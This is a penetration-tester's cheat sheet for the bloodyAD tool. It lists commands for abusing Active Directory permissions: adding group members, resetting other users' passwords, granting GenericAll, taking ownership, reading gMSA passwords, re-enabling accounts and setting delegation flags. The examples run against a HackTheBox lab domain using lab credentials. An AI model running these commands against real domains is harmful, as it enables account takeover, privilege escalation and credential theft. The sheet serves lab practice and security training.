BloodyAD

Retrieve User Information

bloodyAD --host $dc -d $domain -u $username -p $password get object $target_username

Add User To Group

bloodyAD --host $dc -d $domain -u $username -p $password add groupMember $group_name $member_to_add

example

python3 bloodyAD/bloodyAD.py --host dc01.rebound.htb --dc-ip 10.10.11.231 -u oorend -p '1GR8t@$$4u' -k -d rebound.htb add groupMember "CN=SERVICEMGMT,CN=USERS,DC=REBOUND,DC=HTB" oorend [+] oorend added to CN=SERVICEMGMT,CN=USERS,DC=REBOUND,DC=HTB

Change Password

bloodyAD --host $dc -d $domain -u $username -p $password set password $target_username $new_password

example

python3 bloodyAD/bloodyAD.py --host dc01.rebound.htb --dc-ip 10.10.11.231 -u oorend -p '1GR8t@$$4u' -k -d rebound.htb set password "winrm_svc" 'pwned123!!!' [+] Password changed successfully!

Give User GenericAll Rights

bloodyAD --host $dc -d $domain -u $username -p $password add genericAll $DN $target_username

example

python3 bloodyAD/bloodyAD.py --host dc01.rebound.htb --dc-ip 10.10.11.231 -u oorend -p '1GR8t@$$4u' -k -d rebound.htb add genericAll "OU=SERVICE USERS,DC=REBOUND,DC=HTB" oorend [+] oorend has now GenericAll on OU=SERVICE USERS,DC=REBOUND,DC=HTB

WriteOwner

bloodyAD --host $dc -d $domain -u $username -p $password set owner $target_group $target_username

ReadGMSAPassword

bloodyAD --host $dc -d $domain -u $username -p $password get object $target_username --attr msDS-ManagedPassword

Enable a Disabled Account

bloodyAD --host $dc -d $domain -u $username -p $password remove uac $target_username -f ACCOUNTDISABLE

Add The TRUSTED_TO_AUTH_FOR_DELEGATION Flag

bloodyAD --host $dc -d $domain -u $username -p $password add uac $target_username -f TRUSTED_TO_AUTH_FOR_DELEGATION

Notes

• To use Kerberos, obtain a TGT and then pass -k instead of providing a username and password
• You can pass a hash instead of the password

Resources

• https://github.com/CravateRouge/bloodyAD/wiki/User-Guide
• https://0xdf.gitlab.io/2024/03/30/htb-rebound.html
• https://www.thehacker.recipes/

Machines To Practice

• Redelegate (Vulnlab)
• Vintage (HackTheBox)
• Infiltrator (HackTheBox)
• Rebound (HackTheBox)
• Absolute (HackTheBox)
• Certified (HackTheBox)